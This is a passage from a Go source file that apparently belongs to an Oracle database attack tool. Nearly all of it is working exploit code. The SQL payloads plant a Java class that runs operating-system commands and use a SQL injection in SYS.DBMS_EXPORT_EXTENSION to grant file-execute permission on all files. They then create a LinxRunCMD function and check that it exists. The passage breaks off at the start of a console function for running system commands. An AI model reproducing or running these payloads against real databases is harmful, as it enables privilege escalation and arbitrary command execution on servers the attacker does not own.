(conn *sql.DB)
| 9 | ) |
| 10 | |
| 11 | func OracleXMLQuery(conn *sql.DB) { |
| 12 | |
| 13 | _, err := OracleCMD(fmt.Sprintf("select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual"), conn) |
| 14 | if err != nil { |
| 15 | Err(err) |
| 16 | } |
| 17 | |
| 18 | _, err = OracleCMD(fmt.Sprintf("select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual"), conn) |
| 19 | if err != nil { |
| 20 | Err(err) |
| 21 | } |
| 22 | |
| 23 | _, err = OracleCMD(fmt.Sprintf("select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual"), conn) |
| 24 | if err != nil { |
| 25 | Err(err) |
| 26 | } |
| 27 | |
| 28 | _, err = OracleCMD(fmt.Sprintf("select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'"), conn) |
| 29 | if err != nil { |
| 30 | Err(err) |
| 31 | } |
| 32 | } |
| 33 | |
| 34 | func OracleXMLQueryConsole(conn *sql.DB) { |
| 35 | Info("执行系统命令") |
no test coverage detected